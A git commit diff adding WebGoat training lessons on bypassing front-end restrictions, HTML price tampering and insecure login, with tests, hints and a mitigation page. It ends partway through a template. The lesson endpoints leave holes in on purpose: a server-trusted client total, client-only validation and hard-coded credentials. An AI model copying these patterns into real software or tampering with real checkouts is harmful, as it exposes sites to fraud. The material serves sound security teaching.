merge of upstream, conflict resolution

This commit is contained in:
Jason White
2017-06-27 08:30:58 -04:00
123 changed files with 5035 additions and 2080 deletions

View File

@ -0,0 +1,11 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<artifactId>bypass-restrictions</artifactId>
<packaging>jar</packaging>
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>8.0-SNAPSHOT</version>
</parent>
</project>

View File

@ -0,0 +1,63 @@
package org.owasp.webgoat.plugin;
import com.beust.jcommander.internal.Lists;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.NewLesson;
import java.util.List;
/**
* ************************************************************************************************
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
* <p>
* Copyright (c) 2002 - 20014 Bruce Mayhew
* <p>
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
* <p>
* Getting Source ==============
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
*
* @author WebGoat
* @version $Id: $Id
* @since October 12, 2016
*/
public class BypassRestrictions extends NewLesson {
@Override
public Category getDefaultCategory() {
return Category.CLIENT_SIDE;
}
@Override
public List<String> getHints() {
return Lists.newArrayList();
}
@Override
public Integer getDefaultRanking() {
return 2;
}
@Override
public String getTitle() {
return "bypass-restrictions.title";
}
@Override
public String getId() {
return "BypassRestrictions";
}
}

View File

@ -0,0 +1,74 @@
package org.owasp.webgoat.plugin;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
/**
* *************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 20014 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* For details, please see http://webgoat.github.io
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
@AssignmentPath("/BypassRestrictions/FieldRestrictions")
public class BypassRestrictionsFieldRestrictions extends AssignmentEndpoint {
@RequestMapping(method = RequestMethod.POST)
public
@ResponseBody
AttackResult completed(@RequestParam String select, @RequestParam String radio, @RequestParam String checkbox, @RequestParam String shortInput) throws IOException {
if (select.toString().equals("option1") || select.toString().equals("option2")) {
return trackProgress(failed().build());
}
if (radio.toString().equals("option1") || radio.toString().equals("option2")) {
return trackProgress(failed().build());
}
if (checkbox.toString().equals("on") || checkbox.toString().equals("off")) {
return trackProgress(failed().build());
}
if (shortInput.toString().length() <= 5) {
return trackProgress(failed().build());
}
/*if (disabled == null) {
return trackProgress(failed().build());
}
if (submit.toString().equals("submit")) {
return trackProgress(failed().build());
}*/
return trackProgress(success().build());
}
}

View File

@ -0,0 +1,87 @@
package org.owasp.webgoat.plugin;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
/**
* *************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 20014 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* For details, please see http://webgoat.github.io
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
@AssignmentPath("/BypassRestrictions/frontendValidation")
public class BypassRestrictionsFrontendValidation extends AssignmentEndpoint {
@RequestMapping(method = RequestMethod.POST)
public
@ResponseBody
AttackResult completed(@RequestParam String field1, @RequestParam String field2, @RequestParam String field3, @RequestParam String field4, @RequestParam String field5, @RequestParam String field6, @RequestParam String field7, @RequestParam Integer error) throws IOException {
String regex1="^[a-z]{3}$";
String regex2="^[0-9]{3}$";
String regex3="^[a-zA-Z0-9 ]*$";
String regex4="^(one|two|three|four|five|six|seven|eight|nine)$";
String regex5="^\\d{5}$";
String regex6="^\\d{5}(-\\d{4})?$";
String regex7="^[2-9]\\d{2}-?\\d{3}-?\\d{4}$";
if (error>0) {
return trackProgress(failed().build());
}
if (field1.matches(regex1)) {
return trackProgress(failed().build());
}
if (field2.matches(regex2)) {
return trackProgress(failed().build());
}
if (field3.matches(regex3)) {
return trackProgress(failed().build());
}
if (field4.matches(regex4)) {
return trackProgress(failed().build());
}
if (field5.matches(regex5)) {
return trackProgress(failed().build());
}
if (field6.matches(regex6)) {
return trackProgress(failed().build());
}
if (field7.matches(regex7)) {
return trackProgress(failed().build());
}
return trackProgress(success().build());
}
}

View File

@ -0,0 +1,126 @@
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:BypassRestrictions_Intro.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<!-- stripped down without extra comments -->
<div class="adoc-content" th:replace="doc:BypassRestrictions_FieldRestrictions.adoc"></div>
<div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<form class="attack-form" accept-charset="UNKNOWN" name="fieldRestrictions"
method="POST"
action="/WebGoat/BypassRestrictions/FieldRestrictions"
enctype="application/json;charset=UTF-8">
<div>Select field with two possible values</div>
<select name="select">
<option value="option1">Option 1</option>
<option value="option2">Option 2</option>
</select>
<div>Radio button with two possible values</div>
<input type="radio" name="radio" value="option1" checked="checked"/> Option 1<br />
<input type="radio" name="radio" value="option2" /> Option 2<br />
<div>Checkbox: value either on or off</div>
<input type="checkbox" name="checkbox" checked="checked"/> Checkbox
<div>Input restricted to max 5 characters</div>
<input type="text" value="12345" name="shortInput" maxlength="5"/>
<div>Disabled input field</div>
<input type="submit" value="submit"/>
</form>
<div class="attack-feedback"></div>
<div class="attack-output"></div>
</div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:BypassRestrictions_FrontendValidation.adoc"></div>
<div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<form class="attack-form" accept-charset="UNKNOWN" name="frontendValidation"
id="frontendValidation"
method="POST"
action="/WebGoat/BypassRestrictions/frontendValidation/"
enctype="application/json;charset=UTF-8"
onsubmit="return validate()">
<div>
<strong>Field 1:</strong> exactly three lowercase characters(^[a-z]{3}$)
</div>
<div>
<textarea cols="25" name="field1" rows="1">abc</textarea>
</div>
<p></p>
<div><strong>Field 2:</strong> exactly three digits(^[0-9]{3}$)</div>
<div>
<textarea cols="25" name="field2" rows="1">123</textarea>
</div>
<p></p>
<div><strong>Field 3:</strong> letters, numbers, and space only(^[a-zA-Z0-9 ]*$)</div>
<div>
<textarea cols="25" name="field3" rows="1">abc 123 ABC</textarea>
</div>
<p></p>
<div><strong>Field 4:</strong> enumeration of numbers (^(one|two|three|four|five|six|seven|eight|nine)$)</div>
<div>
<textarea cols="25" name="field4" rows="1">seven</textarea>
</div>
<p></p>
<div><strong>Field 5:</strong> simple zip code (^\d{5}$)</div>
<div>
<textarea cols="25" name="field5" rows="1">01101</textarea>
</div>
<p></p>
<div><strong>Field 6:</strong> zip with optional dash four (^\d{5}(-\d{4})?$)</div>
<div>
<textarea cols="25" name="field6" rows="1">90210-1111</textarea>
</div>
<p></p>
<div><strong>Field 7:</strong> US phone number with or without dashes (^[2-9]\d{2}-?\d{3}-?\d{4}$)</div>
<div>
<textarea cols="25" name="field7" rows="1">301-604-4882</textarea>
</div>
<input type="hidden" value="" name="error" />
<p><button type="submit" class="btn btn-primary">Submit</button></p>
</form>
<script>
var regex1=/^[a-z]{3}$/;
var regex2=/^[0-9]{3}$/;
var regex3=/^[a-zA-Z0-9 ]*$/;
var regex4=/^(one|two|three|four|five|six|seven|eight|nine)$/;
var regex5=/^\d{5}$/;
var regex6=/^\d{5}(-\d{4})?$/;
var regex7=/^[2-9]\d{2}-?\d{3}-?\d{4}$/;
var validate = function() {
var msg='JavaScript found form errors';
var err=0;
if (!regex1.test(document.frontendValidation.field1.value)) {err+=1; msg+='\n Value entered for field 1 is not correct';}
if (!regex2.test(document.frontendValidation.field2.value)) {err+=1; msg+='\n Value entered for field 2 is not correct';}
if (!regex3.test(document.frontendValidation.field3.value)) {err+=1; msg+='\n Value entered for field 3 is not correct';}
if (!regex4.test(document.frontendValidation.field4.value)) {err+=1; msg+='\n Value entered for field 4 is not correct';}
if (!regex5.test(document.frontendValidation.field5.value)) {err+=1; msg+='\n Value entered for field 5 is not correct';}
if (!regex6.test(document.frontendValidation.field6.value)) {err+=1; msg+='\n Value entered for field 6 is not correct';}
if (!regex7.test(document.frontendValidation.field7.value)) {err+=1; msg+='\n Value entered for field 7 is not correct';}
document.frontendValidation.error.value = err
if ( err > 0 ) {
alert(msg)
return false;
}
return true;
}
</script>
<br/>
<br/>
<div class="attack-feedback"></div>
<div class="attack-output"></div>
</div>
</div>
</html>

View File

@ -0,0 +1,4 @@
bypass-restrictions.title=Bypass front-end restrictions
bypass-restrictions.intercept.success=Well done, you intercepted the request as expected
bypass-restrictions.intercept.failure=Please try again. Make sure to make all the changes. And case sensitivity may matter ... or not, you never know!

View File

@ -0,0 +1,6 @@
== Field Restrictions
In most browsers, client has complete or almost complete control over HTML part
of the webpage. They can alter values or restrictions to fit their preference.
=== Task
Send a request that bypasses restrictions of all four of these fields

View File

@ -0,0 +1,9 @@
== Validation
Often, there is some mechanism in place to prevent users from sending altered
field values to server, such as validation before sending. Most of popular browsers
such as Chrome don't allow editing scripts during runtime. We will have to circumvent
the validation some other way.
=== Task
Send a request that does not fit the regular expression above the field in all fields.

View File

@ -0,0 +1,11 @@
== Concept
Users have a great degree of control over the front-end of the web application.
They can alter HTML code, sometimes also scripts. This is why
apps that require certain format of input should also validate on server-side.
== Goals
* The user should have a basic knowledge of HTML
* The user should be able to tamper a request before sending (with proxy or other tool)
* The user will be able to tamper with field restrictions and bypass client-side validation

View File

@ -0,0 +1,76 @@
package org.owasp.webgoat.plugin;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.owasp.webgoat.plugins.LessonTest;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import static org.hamcrest.Matchers.is;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
/**
* @author nbaars
* @since 6/16/17.
*/
@RunWith(SpringJUnit4ClassRunner.class)
public class BypassRestrictionsFrontendValidationTest extends LessonTest {
@Before
public void setup() throws Exception {
when(webSession.getCurrentLesson()).thenReturn(new BypassRestrictions());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
}
@Test
public void noChangesShouldNotPassTheLesson() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/BypassRestrictions/frontendValidation")
.param("field1", "abc")
.param("field2", "123")
.param("field3", "abc ABC 123")
.param("field4", "seven")
.param("field5", "01101")
.param("field6", "90201 1111")
.param("field7", "301-604-4882")
.param("error", "2"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
}
@Test
public void bypassAllFieldShouldPass() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/BypassRestrictions/frontendValidation")
.param("field1", "abcd")
.param("field2", "1234")
.param("field3", "abc $ABC 123")
.param("field4", "ten")
.param("field5", "01101AA")
.param("field6", "90201 1111AA")
.param("field7", "301-604-4882$$")
.param("error", "0"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
}
@Test
public void notBypassingAllFieldShouldNotPass() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/BypassRestrictions/frontendValidation")
.param("field1", "abc")
.param("field2", "1234")
.param("field3", "abc $ABC 123")
.param("field4", "ten")
.param("field5", "01101AA")
.param("field6", "90201 1111AA")
.param("field7", "301-604-4882AA")
.param("error", "0"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
}
}

View File

@ -1,5 +1,11 @@
=== Welcome to the WebGoat challenge (CTF)
==== Introduction
The challenges contain more a CTF like lessons where we do not provide any explanations what you need to do, no hints
will be provided. You can use these challenges in a CTF style where you can run WebGoat on one server and all
participants can join and hack the challenges. A scoreboard is available at http://localhost:8080/WebGoat/scoreboard
:hardbreaks:
In this CTF you will need to solve a couple of challenges, each challenge will give you a flag which you will
need to post in order to gain points.

View File

@ -39,7 +39,7 @@ public class ClientSideFiltering extends NewLesson {
@Override
public Category getDefaultCategory() {
return Category.AJAX_SECURITY;
return Category.CLIENT_SIDE;
}
@Override

View File

@ -0,0 +1,34 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<artifactId>html-tampering</artifactId>
<packaging>jar</packaging>
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>8.0-SNAPSHOT</version>
</parent>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework.security</groupId>
<artifactId>spring-security-test</artifactId>
<version>4.1.3.RELEASE</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>${junit.version}</version>
<type>jar</type>
<scope>test</scope>
</dependency>
</dependencies>
</project>

View File

@ -0,0 +1,63 @@
package org.owasp.webgoat.plugin;
import com.beust.jcommander.internal.Lists;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.NewLesson;
import java.util.List;
/**
* ************************************************************************************************
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
* <p>
* Copyright (c) 2002 - 20014 Bruce Mayhew
* <p>
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
* <p>
* Getting Source ==============
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
*
* @author WebGoat
* @version $Id: $Id
* @since October 12, 2016
*/
public class HtmlTampering extends NewLesson {
@Override
public Category getDefaultCategory() {
return Category.CLIENT_SIDE;
}
@Override
public List<String> getHints() {
return Lists.newArrayList();
}
@Override
public Integer getDefaultRanking() {
return 3;
}
@Override
public String getTitle() {
return "html-tampering.title";
}
@Override
public String getId() {
return "HtmlTampering";
}
}

View File

@ -0,0 +1,60 @@
package org.owasp.webgoat.plugin;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import java.io.IOException;
/**
* *************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 20014 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* For details, please see http://webgoat.github.io
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
@AssignmentPath("/HtmlTampering/task")
@AssignmentHints({ "hint1", "hint2", "hint3"})
public class HtmlTamperingTask extends AssignmentEndpoint {
@RequestMapping(method = RequestMethod.POST)
public
@ResponseBody
AttackResult completed(@RequestParam String QTY, @RequestParam String Total) throws IOException {
if (Float.parseFloat(QTY) * 2999.99 > Float.parseFloat(Total) + 1) {
return trackProgress(success().feedback("html-tampering.tamper.success").build());
}
return trackProgress(failed().feedback("html-tampering.tamper.failure").build());
}
}

View File

@ -0,0 +1,149 @@
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:HtmlTampering_Intro.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<!-- stripped down without extra comments -->
<div class="adoc-content" th:replace="doc:HtmlTampering_Task.adoc"></div>
<div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<form class="attack-form" accept-charset="UNKNOWN" id="task" name="task"
method="POST"
action="/WebGoat/HtmlTampering/task"
enctype="application/json;charset=UTF-8">
<script>
var regex = /^2999.99$/;
var price = 2999.99;
document.getElementById("total").innerHTML = '$' + price.toString();
var total = price * document.task.QTY.value;
document.getElementById("total").innerHTML = '$' + total;
document.getElementById("subtotal").innerHTML = '$' + total;
document.getElementById("totalAmount").innerHTML = '$' + total;
$('#remove').click(function () {
document.getElementById("QTY").value = 1;
update();
});
$("#QTY").on('change keydown paste input blur', function () {
update();
});
function update() {
price = $('#price').text();
if (!regex.test(price.toString())) {
alert('Data tampering is disallowed');
document.getElementById("price").innerHTML = 2999.99;
update();
}
var total = price * document.task.QTY.value;
$('#total').text('$' + total.toFixed(2));
$('#subtotal').text('$' + total.toFixed(2));
$('#totalAmount').text('$' + total.toFixed(2));
$('#Total').val(total.toFixed(2));
}
</script>
<div class="container-fluid">
<div class="row">
<div class="col-sm-12 col-md-10 col-md-offset-1">
<table class="table table-hover">
<thead>
<tr>
<th>Product</th>
<th>Quantity</th>
<th class="text-center">Price</th>
<th class="text-center">Total</th>
<th> </th>
</tr>
</thead>
<tbody>
<tr>
<td class="col-sm-8 col-md-6">
<div class="media">
<a class="thumbnail pull-left" href="#"> <img class="media-object"
th:src="@{/images/samsung.jpg}"
style="width: 72px; height: 72px;"></img>
</a>
<div class="media-body">
<h4 class="media-heading"><a href="#">55'' M5510 White Full HD Smart TV</a>
</h4>
<h5 class="media-heading"> by <a href="#">Samsung</a></h5>
<span>Status: </span><span
class="text-success"><strong>In Stock</strong></span>
</div>
</div>
</td>
<td>
<input size="2" value="1" name="QTY" type="TEXT" id="QTY"/>
</td>
<td class="col-sm-1 col-md-1 text-center"><strong><span
id="price">2999.99</span></strong></td>
<td class="col-sm-1 col-md-1 text-center"><strong><span
id="total">$2999.99</span></strong></td>
<td class="col-sm-1 col-md-1">
<button type="submit" id="remove" class="btn btn-danger">
<span class="glyphicon glyphicon-remove" onclick="clear()"></span> Remove
</button>
</td>
</tr>
<tr>
<td>  </td>
<td>  </td>
<td>  </td>
<td><h5>Subtotal</h5></td>
<td class="text-right"><h5><strong><span id="subtotal">$2999.99</span></strong></h5>
</td>
</tr>
<tr>
<td>  </td>
<td>  </td>
<td>  </td>
<td><h5>Shipping costs</h5></td>
<td class="text-right"><h5><strong>$0.00</strong></h5>
</td>
</tr>
<tr>
<td>  </td>
<td>  </td>
<td>  </td>
<td><h3>Total</h3></td>
<td class="text-right"><h3><strong><span id="totalAmount">$2999.99</span></strong></h3>
</td>
</tr>
<tr>
<td>  </td>
<td>  </td>
<td>  </td>
<td>
<button type="button" class="btn btn-default">
<span class="glyphicon glyphicon-shopping-cart"></span> Continue Shopping
</button>
</td>
<td>
<div id="checkout">
<button type="submit" class="btn btn-success">
Checkout <span class="glyphicon glyphicon-play"></span>
</button>
</div>
</td>
<input id="Total" name="Total" type="HIDDEN" value="2999.99"/>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</form>
<br/><br/>
<div class="attack-feedback"></div>
<div class="attack-output"></div>
</div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:HtmlTampering_Mitigation.adoc"></div>
</div>
</html>

View File

@ -0,0 +1,9 @@
html-tampering.title=HTML tampering
html-tampering.tamper.success=Well done, you just bought a TV at a discount
html-tampering.tamper.failure=This is too expensive... You need to buy at a cheaper cost!
hint1=Try to change the number of items and see what is happening
hint2=Is the price part of the HTML request?
hint3=Intercept the request and manipulate the price before submitting it.

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.5 KiB

View File

@ -0,0 +1,8 @@
== Concept
Browsers generally offer many options of editing the displayed content. Developers
therefore must be aware that the values sent by the user may have been tampered with.
== Goals
* The user should have a basic understanding of HTML
* The user will be able to exploit editing front end of website

View File

@ -0,0 +1,14 @@
=== Mitigation
In this simple example you noticed that the price is calculated server side and send to the server. The server
accepted the input as a given and did not calculate the price again. One of the mitigations in this case is to look up
the price of the television in your database and calculate the total price again.
In a real application you should never rely on client side validation it is important to verify all the input
send by the client. Always remember: **NEVER TRUST INPUT SEND BY A CLIENT.**
''''
==== References
https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet

View File

@ -0,0 +1,2 @@
=== Try it yourself
In an online store you ordered a new TV, try to buy one or more TVs for a lower price.

View File

@ -9,28 +9,4 @@
<version>8.0-SNAPSHOT</version>
</parent>
<build>
<plugins>
<plugin>
<groupId>org.asciidoctor</groupId>
<artifactId>asciidoctor-maven-plugin</artifactId>
<version>1.5.3</version>
<executions>
<execution>
<id>output-html</id>
<phase>generate-resources</phase>
<goals>
<goal>process-asciidoc</goal>
</goals>
<configuration>
<backend>html</backend>
<sourceDirectory>src/main/resources/lessonPlans/en/</sourceDirectory>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>

View File

@ -0,0 +1,34 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<artifactId>insecure-login</artifactId>
<packaging>jar</packaging>
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>8.0-SNAPSHOT</version>
</parent>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework.security</groupId>
<artifactId>spring-security-test</artifactId>
<version>4.1.3.RELEASE</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>${junit.version}</version>
<type>jar</type>
<scope>test</scope>
</dependency>
</dependencies>
</project>

View File

@ -0,0 +1,63 @@
package org.owasp.webgoat.plugin;
import com.beust.jcommander.internal.Lists;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.NewLesson;
import java.util.List;
/**
* ************************************************************************************************
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
* <p>
* Copyright (c) 2002 - 20014 Bruce Mayhew
* <p>
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
* <p>
* Getting Source ==============
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
*
* @author WebGoat
* @version $Id: $Id
* @since October 12, 2016
*/
public class InsecureLogin extends NewLesson {
@Override
public Category getDefaultCategory() {
return Category.INSECURE_COMMUNICATION;
}
@Override
public List<String> getHints() {
return Lists.newArrayList();
}
@Override
public Integer getDefaultRanking() {
return 1;
}
@Override
public String getTitle() {
return "insecure-login.title";
}
@Override
public String getId() {
return "InsecureLogin";
}
}

View File

@ -0,0 +1,59 @@
package org.owasp.webgoat.plugin;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
/**
* *************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 20014 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* For details, please see http://webgoat.github.io
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
@AssignmentPath("/InsecureLogin/task")
public class InsecureLoginTask extends AssignmentEndpoint {
@RequestMapping(method = RequestMethod.POST)
public
@ResponseBody
AttackResult completed(@RequestParam String username, @RequestParam String password) throws IOException {
if (username.toString().equals("CaptainJack") && password.toString().equals("BlackPearl")) {
return trackProgress(success().build());
}
return trackProgress(failed().build());
}
}

View File

@ -0,0 +1,45 @@
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:InsecureLogin_Intro.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<!-- stripped down without extra comments -->
<div class="adoc-content" th:replace="doc:InsecureLogin_Task.adoc"></div>
<div class="attack-container">
